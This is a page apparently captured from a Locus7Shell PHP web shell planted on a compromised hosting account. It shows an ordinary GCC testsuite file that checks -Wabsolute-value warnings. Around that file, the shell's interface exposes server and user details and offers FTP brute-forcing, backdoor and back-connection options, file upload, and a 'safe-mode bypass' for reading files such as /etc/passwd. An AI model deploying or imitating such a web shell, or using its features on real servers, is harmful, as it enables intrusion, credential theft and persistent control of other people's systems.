Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wabsolute-value.c (1.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR c/89425 - -Wabsolute-value warns in dead subexpressions
   { dg-do compile }
   { dg-options "-Wabsolute-value -ftrack-macro-expansion=0" } */

struct Vals
{
  signed char sc;
  signed short ss;
  signed int si;
  signed long sl;
  signed long long sll;

  unsigned char uc;
  unsigned short us;
  unsigned int ui;
  unsigned long ul;
  unsigned long long ull;

  float f;
  double d;
  long double ld;
};

#define abs(x)     __builtin_abs (x)
#define labs(x)    __builtin_labs (x)
#define llabs(x)   __builtin_llabs (x)

#define fabsf(x)   __builtin_fabsf (x)
#define fabs(x)    __builtin_fabs (x)


void tst_warn (struct Vals *p)
{
  /* Verify that "-Wabsolute-value is issued for subexpressions
     that are evaluated.  */

  p->uc =  0 ? abs (p->sc) : abs (p->uc);         /* { dg-warning "\\\[-Wabsolute-value]" } */
  p->us =  0 ? abs (p->ss) : abs (p->us);         /* { dg-warning "\\\[-Wabsolute-value]" } */
  p->ui =  0 ? abs (p->si) : abs (p->ui);         /* { dg-warning "\\\[-Wabsolute-value]" } */
  p->ul =  0 ? labs (p->sl) : labs (p->ul);       /* { dg-warning "\\\[-Wabsolute-value]" } */
  p->ull = 0 ? llabs (p->sll) : llabs (p->ull);   /* { dg-warning "\\\[-Wabsolute-value]" } */

  p->d   = 0 ? fabs (p->d) : fabsf (p->d);        /* { dg-warning "\\\[-Wabsolute-value]" } */
}

void tst_no_warn (struct Vals *p)
{
  /* Verify that "-Wabsolute-value is not issued for subexpressions
     that are not evaluated.  */

  p->uc =  0 ? abs (p->uc) : abs (p->sc);
  p->us =  0 ? abs (p->us) : abs (p->ss);
  p->ui =  0 ? abs (p->ui) : abs (p->si);
  p->ul =  0 ? labs (p->ul) : labs (p->sl);
  p->ull = 0 ? llabs (p->ull) : llabs (p->sll);
  p->d   = 0 ? fabsf (p->d) : fabs (p->d);
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0055 ]--